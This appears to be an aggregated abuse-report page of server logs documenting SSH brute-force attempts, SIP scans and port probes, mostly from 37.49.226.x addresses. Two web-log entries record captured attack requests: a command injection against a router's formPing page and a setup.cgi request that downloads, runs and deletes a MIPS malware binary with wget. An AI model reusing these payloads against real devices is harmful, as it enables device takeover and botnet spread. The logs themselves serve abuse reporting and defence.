Auto Fail2Ban report, multiple SSH login attempts.

2020-06-05T10:04:36.811709vps773228.ovh.net sshd[5756]: Failed password for root from 37.49.226.248 port 56282 ssh2
2020-06-05T10:04:59.334197vps773228.ovh.net sshd[5760]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.248  user=root
2020-06-05T10:05:01.333113vps773228.ovh.net sshd[5760]: Failed password for root from 37.49.226.248 port 35082 ssh2
2020-06-05T10:05:23.839948vps773228.ovh.net sshd[5793]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.248  user=root
2020-06-05T10:05:26.134864vps773228.ovh.net sshd[5793]: Failed password for root from 37.49.226.248 port 41950 ssh2
...

May 31 22:03:42 server2 sshd\[11326\]: User root from 37.49.226.248 not allowed because not listed in AllowUsers
May 31 22:04:21 server2 sshd\[11362\]: User root from 37.49.226.248 not allowed because not listed in AllowUsers
May 31 22:04:58 server2 sshd\[11378\]: User root from 37.49.226.248 not allowed because not listed in AllowUsers
May 31 22:05:36 server2 sshd\[11567\]: User root from 37.49.226.248 not allowed because not listed in AllowUsers
May 31 22:06:14 server2 sshd\[11598\]: User root from 37.49.226.248 not allowed because not listed in AllowUsers
May 31 22:06:51 server2 sshd\[11616\]: User root from 37.49.226.248 not allowed because not listed in AllowUsers

 TCP (SYN) 37.49.226.248:39150 -> port 22, len 48

May 23 06:10:02 ny01 sshd[14914]: Failed password for root from 37.49.226.248 port 57751 ssh2
May 23 06:10:27 ny01 sshd[14973]: Failed password for root from 37.49.226.248 port 52477 ssh2

May 22 08:51:52 mail sshd[29709]: Failed password for root from 37.49.226.248 port 52032 ssh2
...

2020-05-16 17:29:59.561868-0500  localhost sshd[35342]: Failed password for root from 37.49.226.248 port 43236 ssh2

$f2bV_matches

SSHD unauthorised connection attempt (b)

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Aug 20 16:15:59 *** sshd[16029]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=134.209.81.17  user=r.r
Aug 20 16:16:01 *** sshd[16029]: Failed password for r.r from 134.209.81.17 port 45510 ssh2
Aug 20 16:16:01 *** sshd[16029]: Received disconnect from 134.209.81.17: 11: Bye Bye [preauth]
Aug 20 16:16:01 *** sshd[16033]: Invalid user admin from 134.209.81.17
Aug 20 16:16:01 *** sshd[16033]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=134.209.81.17 
Aug 20 16:16:04 *** sshd[16033]: Failed password for invalid user admin from 134.209.81.17 port 48024 ssh2
Aug 20 16:16:04 *** sshd[16033]: Received disconnect from 134.209.81.17: 11: Bye Bye [preauth]
Aug 20 16:16:04 *** sshd[16057]: Invalid user admin from 134.209.81.17
Aug 20 16:16:04 *** sshd[16057]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=134.209.81.17 
Aug 20 16:16:06 *** sshd[16057]: Fai........
-------------------------------

Unauthorized connection attempt from IP address 49.149.248.254 on Port 445(SMB)

Aug 20 21:54:18 webhost01 sshd[15195]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.211.79.102
Aug 20 21:54:19 webhost01 sshd[15195]: Failed password for invalid user st from 129.211.79.102 port 36028 ssh2
...

2019-08-20T13:40:19.687484abusebot-6.cloudsearch.cf sshd\[8517\]: Invalid user slash from 132.232.4.33 port 45126

Aug 20 10:43:00 Ubuntu-1404-trusty-64-minimal sshd\[10932\]: Invalid user cacti from 167.99.66.166
Aug 20 10:43:00 Ubuntu-1404-trusty-64-minimal sshd\[10932\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.99.66.166
Aug 20 10:43:02 Ubuntu-1404-trusty-64-minimal sshd\[10932\]: Failed password for invalid user cacti from 167.99.66.166 port 53050 ssh2
Aug 20 16:25:37 Ubuntu-1404-trusty-64-minimal sshd\[9427\]: Invalid user zabbix from 167.99.66.166
Aug 20 16:25:37 Ubuntu-1404-trusty-64-minimal sshd\[9427\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.99.66.166

ssh failed login

Automated report - ssh fail2ban:
Aug 20 13:44:52 wrong password, user=root, port=45636, ssh2
Aug 20 13:44:56 wrong password, user=root, port=45636, ssh2
Aug 20 13:45:00 wrong password, user=root, port=45636, ssh2

Aug 20 06:02:30 vps01 sshd[21636]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=80.211.16.26
Aug 20 06:02:33 vps01 sshd[21636]: Failed password for invalid user deployer from 80.211.16.26 port 49238 ssh2

Automatic report - Banned IP Access

Aug 20 17:05:39 ns3110291 sshd\[1023\]: Invalid user almacen from 178.33.50.135
Aug 20 17:05:41 ns3110291 sshd\[1023\]: Failed password for invalid user almacen from 178.33.50.135 port 46134 ssh2
Aug 20 17:09:42 ns3110291 sshd\[1306\]: Invalid user lazare from 178.33.50.135
Aug 20 17:09:45 ns3110291 sshd\[1306\]: Failed password for invalid user lazare from 178.33.50.135 port 35614 ssh2
Aug 20 17:13:35 ns3110291 sshd\[1615\]: Invalid user daniel from 178.33.50.135
...

Aug 20 16:53:57 ArkNodeAT sshd\[15071\]: Invalid user josh from 106.12.178.127
Aug 20 16:53:57 ArkNodeAT sshd\[15071\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.12.178.127
Aug 20 16:53:59 ArkNodeAT sshd\[15071\]: Failed password for invalid user josh from 106.12.178.127 port 43694 ssh2

Unauthorised access (Aug 20) SRC=125.162.30.154 LEN=52 TTL=248 ID=18281 DF TCP DPT=445 WINDOW=8192 SYN

Aug 20 05:00:20 tdfoods sshd\[9624\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=222.186.42.94  user=root
Aug 20 05:00:22 tdfoods sshd\[9624\]: Failed password for root from 222.186.42.94 port 38642 ssh2
Aug 20 05:00:24 tdfoods sshd\[9624\]: Failed password for root from 222.186.42.94 port 38642 ssh2
Aug 20 05:00:27 tdfoods sshd\[9624\]: Failed password for root from 222.186.42.94 port 38642 ssh2
Aug 20 05:00:34 tdfoods sshd\[9657\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=222.186.42.94  user=root

Unauthorized connection attempt from IP address 62.215.107.244 on Port 445(SMB)

Aug 20 16:43:59 mxgate1 postfix/postscreen[835]: CONNECT from [113.170.210.131]:17373 to [176.31.12.44]:25
Aug 20 16:43:59 mxgate1 postfix/dnsblog[851]: addr 113.170.210.131 listed by domain zen.spamhaus.org as 127.0.0.11
Aug 20 16:43:59 mxgate1 postfix/dnsblog[851]: addr 113.170.210.131 listed by domain zen.spamhaus.org as 127.0.0.4
Aug 20 16:43:59 mxgate1 postfix/dnsblog[852]: addr 113.170.210.131 listed by domain cbl.abuseat.org as 127.0.0.2
Aug 20 16:43:59 mxgate1 postfix/dnsblog[853]: addr 113.170.210.131 listed by domain bl.spamcop.net as 127.0.0.2
Aug 20 16:43:59 mxgate1 postfix/dnsblog[854]: addr 113.170.210.131 listed by domain ix.dnsbl.xxxxxx.net as 127.0.0.2
Aug 20 16:43:59 mxgate1 postfix/dnsblog[855]: addr 113.170.210.131 listed by domain b.barracudacentral.org as 127.0.0.2
Aug 20 16:44:05 mxgate1 postfix/postscreen[835]: DNSBL rank 6 for [113.170.210.131]:17373
Aug x@x
Aug 20 16:44:06 mxgate1 postfix/postscreen[835]: HANGUP after 0.7 from [113.170.210.131]........
-------------------------------